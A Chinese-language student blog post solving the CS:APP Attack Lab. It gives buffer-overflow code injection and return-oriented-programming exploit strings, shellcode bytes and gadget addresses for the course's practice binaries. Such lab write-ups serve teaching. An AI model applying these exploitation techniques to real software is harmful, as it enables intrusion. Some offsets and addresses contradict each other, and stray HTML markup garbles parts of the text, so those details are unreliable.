213 lab 3 attacklab

第三个实验主要是考察code injection 和ROP攻击 的内容

参考了这两篇文章  CSAPP 3e Attack lab   【读厚 CSAPP】III Attack Lab


http://csapp.cs.cmu.edu/3e/attacklab.pdf 这个是课程的任务书  感觉还是要仔细看啊 哭

下载了target1包之后里面的文件如下

  • cookie.txt:这个里面有一个cookie
  • rtarget:执行return-oriented-programming攻击的程序
  • ctarget:执行code-injection攻击的程序
  • farm.c:从这个里面产生gadget代码片
  • hex2raw:生成攻击字符串
  • 先来看一下堆栈的基本结构 

上面是栈底 下面是栈顶 自下而上地址依次增加 

进栈指令push先使堆栈指令sp减2,然后把一个字操作数存入堆栈顶部。堆栈操作的对象只能是字操作数,进栈时底字节存放于低地址,高字节存放于高地址,sp相应向低地址移动两个字节单元。

出栈指令pop把栈顶的一个字传送至指定的目的操作数,然后堆栈指针sp加2。目的操作数应为字操作数,字从栈顶弹出时,低地址字节送低字节,高地址字节送高字节。

下面开始


不知道为啥我直接运行./ctarget和./rtarget就总是illegal host = =蓝瘦香菇 

但是后来进行其他的操作又没有问题= =不懂


首先反编译ctarget   objdump -d ctarget > ctarget.txt  

void test() {//主函数test 通过getbuf之后运行变化 
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}


在任务书里面说了 ctarget 会调用一个getbuf的函数

1 unsigned getbuf()
2 {
3 char buf[BUFFER_SIZE];
4 Gets(buf);
5 return 1;
6 }

也就是要我们输入buffer里面的东西来达到题目的要求。

getbuf的汇编部分

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp//这里可以看到buffer的大小为0x28
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

第一题 touch1

00000000004017c0 <touch1>://从这里得到touch1的地址是0x4017c0
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>

所以在输入buffer之后溢出 程序跳转到touch1执行即可

即输入buffer大小的字符占满缓冲区 然后溢出的部分是touch1的地址 覆盖原有的返回地址即可

在ctarget1.txt文件中写入:

30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
c0 17 40 00 00 00 00 00 
注意一下 这里是little-endian
cat ctarget1.txt | ./hex2raw | ./ctarget -q

查看结果



touch2

void touch2(unsigned val){
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

可以看出要将cookie传入val中

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	callq  401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	callq  401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	callq  400e40 <exit@plt>

也就是要把%rdi的值改为cookie 这就需要先在缓冲区注入一段可执行代码 

 movq $0x59b997fa,%rdi//将cookie的值放进rdi
  pushq $0x004017ec      //将touch2的地址压栈   
  retq 

将上面的代码保存为p2.s

gcc -c p2.s
objdump -d p2.o  > p2.d 

编译及反编译后得到机器码

p2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq   

最后加上rsp的地址 作为返回地址

使用gdb获取%rsp地址。在getbuf中的Gets那里打一个断点就可以看到0x5561dc78

所以可以得到ctarget2.txt的内容

48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 

最后查看结果即可 cat ctarget21.txt | ./hex2raw | ./ctarget -q


touch3

 void touch3(char *sval)
 {
     if (hexmatch(cookie, sval)) {
         printf("Touch3!: You called touch3(\"%s\")\n", sval);
         validate(3);
     } else {
         printf("Misfire: You called touch3(\"%s\")\n", sval);
         fail(3);
     }
     exit(0);
 }
可以看到 touch3是一个比较cookie和sval的函数 调用了hexmatch函数

这里有一个问题要注意 调用hexmatch函数的时候 如果cookie存在buffer里面可能会被覆盖

所以cookie要放在父堆栈上面

touch3的地址为0x4018fa,    %rsp地址0x5561dc78,

返回地址应为%rsp+0x28(40)(也就是跨过buffer缓冲区之后),然后字符串地址应为%rsp+0x30(48).在返回地址之上

于是注入的代码应该是

movq $0x5561dc98,%rdi   <span style="font-family: 'microsoft yahei';">                                                                                     </span>
pushq $0x004018fa
retq

编译反编译过程如上

得到结果

p3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 98 dc 61 55 	mov    $0x5561dc98,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3  

所以最后ctarget3.txt是

48 c7 c7 a8 dc 61 55 68 fa 18                                                                                           
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 //rsp返回地址 
35 39 62 39 39 37 66 61 00//这里要注意 将cookie转换成字符串 并且以00结尾

touch4

从这里开始就是ROP攻击的部分了

在 rtarget 中

  • 每次栈的位置是随机的,于是我们没有办法确定需要跳转的地址
  • 即使我们能够找到规律注入代码,但是栈是不可执行的,一旦执行,则会遇到段错误

那么现在怎么办呢?可以利用已有的可执行的代码,来完成我们的操作,称为 retrun-oriented programming(ROP),策略就是找到现存代码中的若干条指令,这些指令后面跟着指令 ret,如下图所示

每次 return 相当于从一个 gadget 跳转到另一个 gadget 中,然后通过这样不断跳转来完成我们想要的操作。举个具体的例子,假设程序中有一个像下面这样的函数:

     
     
void setval_210(unsigned *p){
*p = 3347663060U;
}

这么看起来没啥用,但是看看对应的汇编代码,可能就是另一个感觉:

这里 48 89 c7 就编码了 movq %rax, %rdi 指令(参加后面的表格),后面跟着一个 c3(也就是返回),于是这段代码就包含一个 gadget,起始地址是 0x400f18,我们就可以利用这个来做一些事情了


首先和前面是一样的 rtarget 反编译:objdump -d rtarget > rtarget.txt 

这里和touch2的目的是一样的 要把cookie放进rdi里面 然后pushtouch2的地址再return


最直接地方法是把cookie存到%rsp里面,然后直接pop

但是没有找到popq %$rdi。但是找到了代表popq %rax的字节码58:

<span style="color:#333333;">00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 </span><span style="color:#ff0000;">58 90</span><span style="color:#333333;">       lea    -0x6fa78caf(%rdi),%eax
  4019ad:  </span><span style="color:#ff0000;"> c3 </span><span style="color:#333333;">                     retq  </span>

红字的部分地址:0x4019ab gadget1

接下来是movq%rax%edi

movq %rax %edi字节码为48 89 c7 c3 

<span style="color:#333333;">00000000004019c3 <setval_426>:
  4019c3:   c7 07 </span><span style="color:#ff0000;">48 89 c7 90</span><span style="color:#333333;">       movl   $0x90c78948,(%rdi)
  4019c9:   </span><span style="color:#ff0000;">c3</span><span style="color:#333333;">                      retq</span>

红字部分地址 0x4019c5 gadget2

所以rtarget4.txt应该是

cc cc cc cc cc cc cc cc cc cc                                                                                           
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc//前面40位填充buffer 因为采取了防御机制之后 buffer里面的区域都不能执行了
ab 19 40 00 00 00 00 00//gadget1
fa 97 b9 59 00 00 00 00//cookie  
c5 19 40 00 00 00 00 00//gadget2
ec 17 40 00 00 00 00 00//touch2 返回地址 

touch5

从指导书内可得

48 89 e0 movq %rsp, %rax

<span style="color:#3f3f3f;">0000000000401aab <setval_350>:
  401aab:   c7 07 </span><span style="color:#ff0000;">48 89 e0 90</span><span style="color:#3f3f3f;">       movl   $0x90e08948,(%rdi)  //90不影响
  401ab1:  </span><span style="color:#ff0000;"> c3 </span><span style="color:#3f3f3f;">                     retq</span>

所以gadget1 0x401aad

接下来我们需要一个可以递增%rax的代码片段来指向我们的cookie地址。 (这一步说实话我不太懂)
找到代表add $0x37, %al04 37:(这个04 37我查过 不懂为啥就是add)

然后我就自己写了句add 编译反编译 = = 结果真的是04 37 .。。。。。

<code class="hljs perl has-numbering" style="display: block; padding: 0px; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background-image: initial; background-attachment: initial; background-color: transparent; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;"><span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0000000000401</span><span style="color:rgba(0, 0, 0, 0);">9d6 <add_xy>:
  </span><span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">4019</span><span style="color:rgba(0, 0, 0, 0);">d6:   </span><span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">48</span><span style="color:rgba(0, 0, 0, 0);"> </span><span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">8</span><span style="color:rgba(0, 0, 0, 0);">d </span><span style="color:#ff0000;"><span class="hljs-number" style="box-sizing: border-box;">04</span> <span class="hljs-number" style="box-sizing: border-box;">37</span></span><span style="color:rgba(0, 0, 0, 0);">             lea    (</span><span class="hljs-variable" style="color: rgb(102, 0, 102); box-sizing: border-box;">%rdi</span><span style="color:rgba(0, 0, 0, 0);">,</span><span class="hljs-variable" style="color: rgb(102, 0, 102); box-sizing: border-box;">%rsi</span><span style="color:rgba(0, 0, 0, 0);">,</span><span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span><span style="color:rgba(0, 0, 0, 0);">),</span><span class="hljs-variable" style="color: rgb(102, 0, 102); box-sizing: border-box;">%rax</span><span style="color:rgba(0, 0, 0, 0);">
  </span><span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">4019</span><span style="color:rgba(0, 0, 0, 0);">da:   c3                      retq</span></code><ul class="pre-numbering" style="color: rgb(51, 51, 51); box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li></ul><ul class="pre-numbering" style="color: rgb(51, 51, 51); box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li></ul>

第二个gadget2地址为0x4019d8。 

接下来需要%rax内容移动到%rdi中,找到代表mov %rax, %rdi48 89 c7。 
片段如下:

<code class="hljs perl has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0000000000401</span>9a<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span> <addval_273>:
  <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">4019</span>a<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>:   <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">8</span>d <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">87</span> <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">48</span> <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">89</span> c7 c3       lea    -<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0x3c3876b8</span>(<span class="hljs-variable" style="color: rgb(102, 0, 102); box-sizing: border-box;">%rdi</span>),<span class="hljs-variable" style="color: rgb(102, 0, 102); box-sizing: border-box;">%eax</span>
  <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">4019</span>a6:   c3                      retq</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li></ul><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li></ul>

第三个gadget3地址为0x4019a2

现在总结一下,攻击的文件应该有如下部分,

缓冲区1(这里代码无法执行),

gadget1,gadget2,gadget3,(完成将字符串放进rdi的过程)

touch3的地址(作为返回地址)

填充区,cookie。填充区的大小为应该是在gadget2中偏移的0x37减去前面其余指令占的地址

也就是  55(0x37)-3*8=31字节。

cc cc cc cc cc cc cc cc cc cc                                                                                           
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc//buffer空出来
ad 1a 40 00 00 00 00 00//gadget1  把rsp的值存到rax里
d8 19 40 00 00 00 00 00  //gadget2
a2 19 40 00 00 00 00 00//gadget3
fa 18 40 00 00 00 00 00//touch3返回地址
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd
35 39 62 39 39 37 66 61 00//cookie

这里还有另外一种写法 我也摘录一下

栈顶
mov  %rsp, %rax 48 89 e0 c3    0x401b11
mov  %rax, %rdi 48 89 c7 c3    0x401a2b
pop  %rax       58 c3          0x401a24
constant 0x48  //这个地方相当于在栈顶压了一个常数 也就是上一步操作里面要放到rax里面的偏移量
movl %eax, %ecx 89 c1 20 c9 c3 0x401a98 (20 c9 没有影响)
movl %ecx, %edx 89 ca 28 c0 c3 0x401ac8 (38 c0 没有影响)
movl %edx, %esi 89 d6 38 c0 c3 0x401a68 (38 c0 没有影响)
lea  (%rdi, %rsi, 1), %rax     0x401a48
mov  %rax, %rdi 48 89 c7 c3    0x401a2b
touch3 的地址
cookie 的字符串
栈底

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
11 1b 40 00 00 00 00 00
2b 1a 40 00 00 00 00 00
24 1a 40 00 00 00 00 00
48 00 00 00 00 00 00 00
98 1a 40 00 00 00 00 00
c8 1a 40 00 00 00 00 00
68 1a 40 00 00 00 00 00
48 1a 40 00 00 00 00 00
2b 1a 40 00 00 00 00 00
6e 19 40 00 00 00 00 00
34 35 33 37 34 66 65 65
00 00 00 00 00 00 00 00

我之前一直都没有想明白那个constant的逻辑 是因为没弄清楚pop 和push

的操作

这里补习一下   链接

PUSH 等价于:

subl $4, %esp

movl %ebp (%esp)

POP 等价于:

movl (%esp), %ead

addl $4, %esp


CALL,RET和LEAVE

CALL指令的步骤:首先是将返回地址(也就是call指令要执行时EIP的值)压入栈顶,然后是将程序跳转到当前调用的方法的起始地址。执行push和jump指令。

RET指令则是将栈顶的返回地址弹出到EIP,然后按照EIP此时指示的指令地址继续执行程序。

LEAVE指令是将栈指针指向帧指针,然后POP备份的原帧指针到%EBP。


Leave等价于:

movl %ebp %esp

popl %ebp




这个lab就先这样~~撒花

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值